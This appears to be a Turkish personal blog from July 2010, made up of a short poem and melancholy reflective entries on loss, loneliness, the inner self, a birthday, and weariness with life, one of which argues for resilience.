Gökyüzünü sahipleneceksin,
Güneşi, ayı, yıldızları…
Mesela kuzey yıldızı, senin yıldızın olacak.
“O benim.” diyeceksin.
Mutlaka sana ait olmasını istiyorsan bir Şeylerin…
Mesela gökkuşağı senin olacak.
İlle de bir şeye ait olacaksan, renklere ait olacaksın.
Mesela turuncuya ya da pembeye
Ya da cennete ait olacaksın.
Çok sahiplenmeden, Çok ait olmadan yaşayacaksın.
Hem her an avuçlarından kayıp gidecekmiş gibi,
Hem de hep senin kalacakmış gibi hayat.
İlişik yaşayacaksın. Ucundan tutarak…

Geride Kalanlar



Yanıtsız sorularla hayatımızı dolduruyoruz, niçinler beynimizi kemiriyor. Soruyoruz ama cevap aradığımızdan değil; soruyoruz ama cevabını beklemiyoruz; soruyoruz ama cevabını öğrendiğimizde beğenmiyoruz. O halde sormanın anlamı ne?.. Nefes alma ihtiyacı gibi bir şey mi bu geride kalanlar için; yoksa alışkanlık mı? Geride kalanlar dedim, çünkü en çok soru sorduğumuz zaman geride kaldığımız zamandır. Aşkta, hayallerde, mutlulukta… Hayatta geri kalırız…

Bu geri kalmışlık çoğu zaman bizi hızlandıracağı, yetişmek için adımlarımızı sıklaştırmamızı sağlayacağı yerde tam tersi yavaşlatır bizi. Kapatırız kendimizi her şeye, nefes almak ağır gelir adeta. Yenildiğimizi düşünmek, kabul etmek en ağır darbedir. Kazanmaya alışmışsak vay halimize. Hüznün gözümüzde bardaktan boşandığı zamanlar, kimse yanaşmasın isteriz yanımıza… Kendi halimize kalmak isteriz, kendimizi en güvende hissettiğimiz yer ise yorgan altlarıdır. Kendimize en çok acıdığımız, sımsıkı gözlerimizi kapadığımız o yorganistandan ayrılmak istemeyiz, sabahın olması kadar ürküten başka bir şey daha yoktur böyle zamanlarda… Sonsuza dek uyuyup, hiç uyanmamak ya da uyandığımızda bütün sıkıntılarımızdan kurtulmak isteriz. “Bir ilaç icat edilse de zerk etseler, gözümü açtığımda her şey değişmiş olsa, o zaman tıbbın gelişmiş olduğuna beni inandırırlar” diye düşünürüz.

Aslında ne tıp harikası ilaçlar, ne zamanın hızlı akması ne de yorganistan bizi kurtarır. Bizi kurtaran kendimizden başkası değildir. Ne bir dost sesi, ne bir omuz işe yarar; yaslandığımız bir tek acılarla olgunlaşmış yüreğimizdir. Yüreğimizin sesini yanlış duyup acı çekmeye devam ettiğimiz sürece, geceler bize eziyet gibi; hayat ise koca bir yalandan ibaret gelir.

Yorgan altlarında çok ağladığım ya da tam tersi kendimi dünyanın en güçlü insanı hissettiğim zamanlar oldu. Hava aydınlanınca beni güçlü kılan yorgan ağır geldi hep; attım üzerimden… Her sıkıntımda aslında kendi kendime iyi olduğumu gördüm. Yıllar bana bunu öğretti… Birçoğumuza olduğu gibi, sıkıntılar, kederler, arkadan vurulmalar beni ben yaptı, olgunlaştırdı. Artık geride kaldığımı hissettiğimde adımlarımı hızlandırıyorum; en azından öyle yapma gayretindeyim. Bunun en zor işlerden biri olduğunun, zor zamanlarda hızlı adımlar atmayı bırakın, ayakta dahi durmanın ne kadar zor olduğunu aslında iyi bilenlerdenim. Ama biraz gayretle bunun en doğru davranış olacağına, geride bırakılmışlığın acısını en çok bu dik duruşların dindireceğine inanıyorum. “Bir daha asla gülemem; hayat bundan sonra benim için anlamını yitirdi; hiçbir şey istemiyorum” cümlelerinin arkasındaki umutsuzluğun gölgesinde yaşamak aslında yaşamak değil…

Neden mi yazıyorum tüm bunları? Bu ara çevremde kendisini geride kalmış, gölge eller tarafından itilmiş hisseden o kadar çok insan var ki; üstelik çoğu zaman kendilerini iten o gölge ellere yeniden teslim oluyorlar, sırf kendilerine olan güvensizlikten dolayı. Boyun eğmelerle, rıza gösterip kabullenmelerle, kazandıklarını zannediyorlar… Kaybetmeye bir adım daha yaklaştıklarını fark etmeden…

11 Temmuz 2010 Pazar

Bugün Benim Doğum Günüm !



Bütün doğum günlerimde olduğu gibi istemsiz bir hüzün var içimde. Ve yine istemsiz bir şekilde geçen bir yılın muhasebesini yapıyorum…

Koca bir yıl daha gitti ömürden… Bir adım ilerisini göremediğim hayatı yaşamaya devam ediyorum.. Geçmiş anılar yığını.. Gelecek zifiri karanlık.. Sıkışıp kaldım ikisinin arasında.. Tıkandı birşeyler.. Kendimi ifade etmekten acizim bugün…




Uykudayım şimdi

ve

bir adım daha yaklaştım uyanmaya…

Çok Derinlerde



Başını ellerinin arasına sıkıştırmış, kendi çığlıklarını duymamak için çırpınan insanın tek sığındığı yine kendi iç sesi değil midir? Çoğu zaman bu iç sese kulak vermek acı verse de, doğruları tek söyleyendir. Gemisinin fırtınada olduğunu anlatan, uçurumun kenarına geldiğini söyleyen hep bu iç sestir. Ruhumuz iç sesimizi bize duyurmak için yaşamımız boyunca çaba harcar, bedenimizle meşgul olurken biz ruhumuzu yok sayar, hatta nefret ederiz ondan. Doğruları söylerken canımızı acıtan dostumuza yaptığımız gibi, ruhumuza da üvey evlat muamelesi yapar, hatta hayatımızdan tamamen çıkarırız.

Gün gelip bedenimiz yaşlandığında, eski güzelliği kalmayıp da insanlar ruhumuza yöneldiğinde gerçeklerin farkına varır, en ücra köşelere ittiğimiz asıl dostumuzu, benliğimizi yerinden çıkartmak için uğraşırız. İş işten geçtikten sonra, karanlık dehlizde yaşamaya alışan ruhumuz direnir oradan çıkmaya, biz çektikçe eski kırgınlıklarını, itilmişliğini hatırlar ve daha da küçülür, ufalır, yok eder kendisini.

“Nerede hata yaptım, ruhumu derine ne zaman ittim” diye düşünüp kafa yorarken biz, bir zamanlar avaz avaz bağırıp bizi uyarmaya çalışan o kadim, ancak küsmüş (küstürülmüş) dost, artık intikam diye sayıklamaya başlar. Acı çekip kıvrandıkça, ona elimizi uzattıkça gözleri pis pis parlar. Parlayan sadece gözleri değil, bizim her geçen gün yalnız bırakarak onu içine attığımız koyu karanlıktır. İçimizdeki aydınlık o kadar küçüktür ki, çekip çıkaracağımız anda karanlığın içinde iyice ufalanır, zerrelere ayrılır ve en sonunda tamamen kaybolur.

Pes edip, ahlarla vahlarla kalan zamanı geçirmek, geçmişi anıp keşke diye sayıklamak kalır payımıza. Aslında aldanmak çok kolaydır, ama aldandığımızı farketmek en zoru. Geç farkedişler bitişe yaklaştıırır daha çok. Sırf bu yüzden yaşam çoğu zaman tıkanmış, hiç ilerlemeyen bir trafiktir. İnatla yola çıkan, her gün aynı yolları gidip gelen insanlarsa içimizden biridir.

10 Temmuz 2010 Cumartesi

Bıktım ben bu hayattan



Yeter… Hakikaten yeter…

Her an insanın sinirini bozacak birşey çıkmak zorunda mı?
Yaşama umudunu kaybettirmeye çalışacak birşey…
Direnme gücünü kırmaya çalışır gibi… Hayattan bıktırmaya çalışır gibi..

Her an insanlar dört duvar gibi üzerime kapanmak zorunda mı? Beni boğmak zorunda mı?

Yoksa bu hayat sadece çile çekmek için mi? Bunalmak için mi?
Sinir krizleri için mi? Küçük küçük mavi pembe Dünyalara bakıp, çözümün orada olmadığını son anda anlamak…
5 dakika bile olsa kendinle gurur duyabilmek mi elde edilen tek mutluluk?

Kapana kısılmış ufak bir kedi yavrusu gibi.. Tırnaklarını açıp savaşmak, sonra yorgun düşmek mi hayat dediğim serüven?
Öyle ise neden ki bu savaş? Niye sürekli en ön saflara ben sürülüyorum? Niye hep ben yaralanıyorum? Niye kimse yaralandığımı görmüyor?

Yoksa kıvrana kıvrana ulaşmaya çalıştığım şey.. Hiçkimsenin önünde sonunda kaçamayacağı gerçek son mu?

Böyle Hayatın Ben Ta . . . A.k / By Uzi